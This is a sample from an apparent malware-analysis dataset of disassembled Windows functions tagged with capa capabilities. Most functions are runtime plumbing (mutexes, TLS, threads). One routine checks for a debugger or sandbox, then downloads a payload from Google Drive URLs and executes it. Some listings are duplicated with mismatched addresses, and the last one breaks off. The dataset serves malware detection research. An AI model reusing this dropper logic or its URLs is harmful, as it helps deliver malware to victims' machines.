joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dd20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004a9064]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40de3a
mov rax, qword [0x004a9068]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40dd6e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x40de20
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x40dd52
mov rcx, rbx
call fcn.0040eb60
test rax, rax
mov r12, rax
je 0x40de72
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004a9068]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.0040ec80
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004a9068]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40de55
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40de19
sub eax, 0x40
and eax, 0xffffffbf
je 0x40de19
mov r9, rbp
add r9, qword [0x004a9068]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40de41
add dword [0x004a9064], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x40dd7b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040dcb0
mov rax, qword [0x004a9068]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.0040dcb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0040dcb0
nop
nop word cs:[rax + rax]

Function at 0x40ea70
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40eab1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40eaa8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40eab3
add rax, 0x28
cmp rax, r9
jne 0x40ea94
xor eax, eax
repz ret

Function at 0x40eb60
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x0048dbf0]
cmp word [rbx], 0x5a4d
je 0x40eb80
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.0040ea30
test eax, eax
je 0x40eb74
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.0040ea70
Function at 0x40edd0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004a99c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004a99a0]
test rbx, rbx
je 0x40ee24
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40ee1b
test rsi, rsi
je 0x40ee1b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40ee00
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004a99c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x40f5c0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040f500
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40f6a9
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x40f748
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x40f6e4
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x40f6d0
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x40f745
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.0040f540
cmp rax, rbx
mov rsi, rax
je 0x40f760
mov rcx, rbx
call sub.msvcrt.dll_free
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.0040f540
mov rsi, rax
jmp 0x40f71f
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x40f71f
mov rcx, rbx
call r13
jmp 0x40f71f
Function at 0x41a200
Capabilities:
Resume thread
Suspend thread

Disassembly:
push rsi
push rbx
sub rsp, 0x4f8
mov rbx, 0xffffffffffffffff
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x41a248
mov rcx, rsi
mov dword [rsp + 0x50], 0x100003
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, rsi
test eax, eax
cmovne rbx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, rbx
add rsp, 0x4f8
pop rbx
pop rsi
ret

Function at 0x41a2d0
Capabilities:
Create thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov ebp, dword [rsp + 0xb0]
mov rbx, rcx
mov r14, rdx
mov rsi, r8
mov r13, r9
cmp ebp, 0x10000
ja 0x41a460
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x41a32c
mov rcx, qword [rcx + 0x10]
xor r9d, r9d
mov r8d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov rcx, qword [rbx + 0x10]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rbx + 8]
call rdi
mov rcx, qword [rbx]
test rcx, rcx
je 0x41a33a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r12d, r12d
test ebp, ebp
jne 0x41a353
mov eax, r12d
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
lea rdi, [rbx + 8]
mov r8, rsi
xor edx, edx
mov rcx, r14
shr rsi, 1
call sub.msvcrt.dll_memset
and rdi, 0xfffffffffffffff8
mov rcx, rbx
xor eax, eax
sub rcx, rdi
mov qword [rbx], 0
mov qword [rbx + 0x30], 0
add ecx, 0x38
xor edx, edx
shr ecx, 3
rep stosq qword [rdi], rax
mov rax, rsi
mov ecx, ebp
mov dword [0x004aa4f0], ebp
shl rax, 0x10
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [0x004aa4d8], r14
mov qword [0x004aa4e0], r13
div rcx
lea rax, [r13 + rax*2]
mov qword [0x004aa4e8], rax
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rbx
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41a480
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [rbx + 0x10], rax
je 0x41a497
lea rax, [rsp + 0x4c]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x0041a260]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [rbx + 8], rax
je 0x41a4bd
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
jmp 0x41a341
call qword [sym.imp.msvcrt.dll__errno]
mov r12d, 0xffffffff
mov dword [rax], 0x16
jmp 0x41a341
call qword [sym.imp.msvcrt.dll__errno]
mov r12d, 0xffffffff
mov dword [rax], 3
jmp 0x41a341
xor ecx, ecx
mov r12d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0
call qword [sym.imp.msvcrt.dll__errno]
mov dword [rax], 0xb
jmp 0x41a341
mov rcx, qword [rbx]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, 0xffffffff
call rsi
mov rcx, qword [rbx + 0x10]
call rsi
mov qword [rbx], 0
call qword [sym.imp.msvcrt.dll__errno]
mov dword [rax], 0xb
jmp 0x41a341
Function at 0x41a9a0
Capabilities:
Check mutex on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
mov rcx, qword [0x004aa518]
mov esi, edx
test rcx, rcx
je 0x41a940
call fcn.00420550
cmp dword [rbx], 0xbab1f00d
jne 0x41a967
mov eax, dword [rbx + 4]
test eax, eax
jle 0x41a967
mov eax, dword [rbx + 4]
test eax, eax
jle 0x41a8f3
mov eax, dword [rbx + 4]
sub eax, 1
mov dword [rbx + 4], eax
mov rcx, qword [0x004aa518]
test rcx, rcx
je 0x41a910
call fcn.00420600
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea r8, [0x0041a680]
lea rcx, str.mutex_global_shmem
mov edx, 8
call fcn.004206e0
mov rcx, rax
mov qword [0x004aa518], rax
call fcn.00420600
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea rcx, str.mutex_global_shmem
lea r8, [0x0041a680]
mov edx, 8
call fcn.004206e0
mov rcx, rax
mov qword [0x004aa518], rax
jmp 0x41a8c7
call qword [sym.imp.msvcrt.dll___iob_func]
lea r9, str.C:_crossdev_src_winpthreads_git20141130_src_mutex.c
lea rcx, [rax + 0x60]
lea r8, str._m___valid__LIFE_MUTEX____m___busy___0_
lea rdx, [0x0048cee0]
mov dword [rsp + 0x20], 0x39
call sub.msvcrt.dll_fprintf
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop
lea r8, [0x0041a680]
lea rcx, str.mutex_global_shmem
mov edx, 8
jmp fcn.004206e0

Function at 0x41c0e0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004aa588]
test rbx, rbx
je 0x41c110
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004aa588]
test rax, rax
je 0x41c134
cmp dword [rax], 0xffffffff
je 0x41c155
add rsp, 0x20
pop rbx
ret
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov rbx, rax
mov qword [0x004aa588], rax
jmp 0x41c0f1
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov qword [0x004aa588], rax
jmp 0x41c105
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
Function at 0x41c5f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004aa590]
test rcx, rcx
je 0x41c730
call fcn.0041c560
mov rax, qword [0x004aa588]
test rax, rax
je 0x41c753
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x41c633
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0041bf30
test rax, rax
mov rbx, rax
je 0x41c79b
cmp qword [0x004ad050], 0
je 0x41c79b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41c7a2
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004aa588]
test rax, rax
je 0x41c777
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41c7a2
mov rax, rbx
jmp 0x41c62a
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.004206e0
mov rcx, rax
mov qword [0x004aa590], rax
jmp 0x41c608
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov qword [0x004aa588], rax
jmp 0x41c61d
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov qword [0x004aa588], rax
jmp 0x41c718
xor eax, eax
jmp 0x41c62a
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.004206e0
Function at 0x41c7b0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004aa590]
test rcx, rcx
je 0x41c730
call fcn.0041c560
mov rax, qword [0x004aa588]
test rax, rax
je 0x41c753
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x41c633
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0041bf30
test rax, rax
mov rbx, rax
je 0x41c79b
cmp qword [0x004ad050], 0
je 0x41c79b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41c7a2
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004aa588]
test rax, rax
je 0x41c777
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41c7a2
mov rax, rbx
jmp 0x41c62a
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.004206e0
mov rcx, rax
mov qword [0x004aa590], rax
jmp 0x41c608
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov qword [0x004aa588], rax
jmp 0x41c61d
lea r8, [0x0041b570]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.004206e0
mov qword [0x004aa588], rax
jmp 0x41c718
xor eax, eax
jmp 0x41c62a
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.004206e0
Function at 0x4206e0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov r14, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x51]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040f500
sub rsp, rax
movsxd r15, r14d
movabs rax, 0x656d68732d636367
lea rsi, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r15
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [rsi + r15 + 0x10]
lea r15d, [r14 + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, rsi
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r15d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4207c9
int3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x420862
mov rcx, r12
add r14d, 0x10
call sub.msvcrt.dll_malloc
mov r10d, 0x40
mov rbx, rax
bt rbx, r10
jae 0x420804
mov r11d, r15d
sub r11d, r10d
movsxd r11, r11d
mov byte [rsi + r11], 0x41
sub r10d, 1
jne 0x4207f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x42085f
mov rdx, rsi
movzx ecx, ax
mov r9d, r14d
mov r8d, r15d
call fcn.00420660
cmp rax, rbx
mov rsi, rax
je 0x420879
mov rcx, rbx
call sub.msvcrt.dll_free
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [r14 + 0x10]
mov rdx, rsi
movzx ecx, ax
mov r8d, r15d
call fcn.00420660
mov rsi, rax
jmp 0x420839
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x420839
mov rcx, rbx
call r13
jmp 0x420839

Function at 0x421ae0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
call fcn.0041a1c5
sub rsp, 0x28
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, eax
xor eax, eax
cmp edx, 0xffffffff
je 0x421b06
mov eax, edx
shr eax, 4
xor eax, 1
and eax, 1
add rsp, 0x28
ret

Function at 0x422320
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00471fc0]
lea rcx, str.__terminate_handler_sh
mov edx, 8
jmp fcn.0040f5c0

Function at 0x422340
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00471fd0]
lea rcx, str.__unexpected_handler_sh
mov edx, 8
jmp fcn.0040f5c0
Function at 0x452400
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
mov rcx, rbp
call fcn.004522e0
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x452450
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x45241a
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x4720e0
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data

Disassembly:
call fcn.0041a1c5
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf0
call fcn.004720a0
call fcn.0040e6a0
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbx
call rbx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
mov esi, eax
jne 0x4722a7
call fcn.00421b10
test al, al
jne 0x4722a7
lea rcx, str.PUBLIC
lea rbx, [rsp + 0x88]
lea r13, [rsp + 0x58]
lea rbp, [rsp + 0x60]
call sub.msvcrt.dll_getenv
mov r8, rbx
mov r12, rax
mov rdx, rax
mov rcx, r13
call fcn.0044f8d0
mov r8, rbx
mov rdx, r12
mov rcx, rbp
call fcn.0044f8d0
lea rdx, str.Read.me
mov rcx, r13
call fcn.0044ff80
lea rdx, str.Reads.me
mov rcx, rbp
call fcn.0044ff80
mov rcx, rbp
call fcn.00421ae0
test al, al
jne 0x4722a0
lea r14, [rsp + 0x68]
lea rdx, str.https:__drive.google.com_uc_exportdownloadid1csH7twcrsOOIZEadkKDFg_wVuYpWGnfQ
mov r8, rbx
lea r12, [rsp + 0x70]
mov rcx, r14
call fcn.0044f8d0
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jns 0x47220a
lea rdx, str.https:__drive.google.com_uc_exportdownloadid1IYrdpw868PzEo_Flw6pd9IDCuSdBhhDL
mov r8, r12
mov rcx, rbx
call fcn.0044f8d0
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x88]
xor ecx, ecx
mov qword [rsp + 0x20], 0
xor r9d, r9d
call sub.urlmon.dll_URLDownloadToFileA
mov rcx, rbx
call fcn.0044fe40
xor eax, eax
mov ecx, 0x1a
mov rdi, rbx
rep stosd dword [rdi], eax
mov rdi, r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x88], 0x68
mov rdx, qword [rsp + 0x58]
mov cl, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x472273
mov rcx, r14
call fcn.0044fe40
jmp 0x4722a0
or edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x78]
call rbx
mov rcx, r14
call fcn.0044fe40
jmp 0x4722cc
mov esi, 1
jmp 0x4722cc
mov rcx, qword [0x0048d7d0]
lea rdx, str.Debugger_or_Sandbox_detected._Exiting...
call fcn.0046f5f0
mov rcx, rax
call fcn.0046d900
mov ecx, 1
call sub.msvcrt.dll_exit
mov rcx, rbp
call fcn.0044fe40
mov rcx, r13
call fcn.0044fe40
mov eax, esi
add rsp, 0xf0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140013060
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180006840
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180097040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18000686d
xor eax, eax
jmp 0x1800069d9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1800068a7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1800068a7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1800069d9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1800069cc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800068ea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180006915
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180006984
sub eax, 1
je 0x180006984
cmp eax, 2
jne 0x1800069cc
movsx ecx, byte [rsp + 0x50]
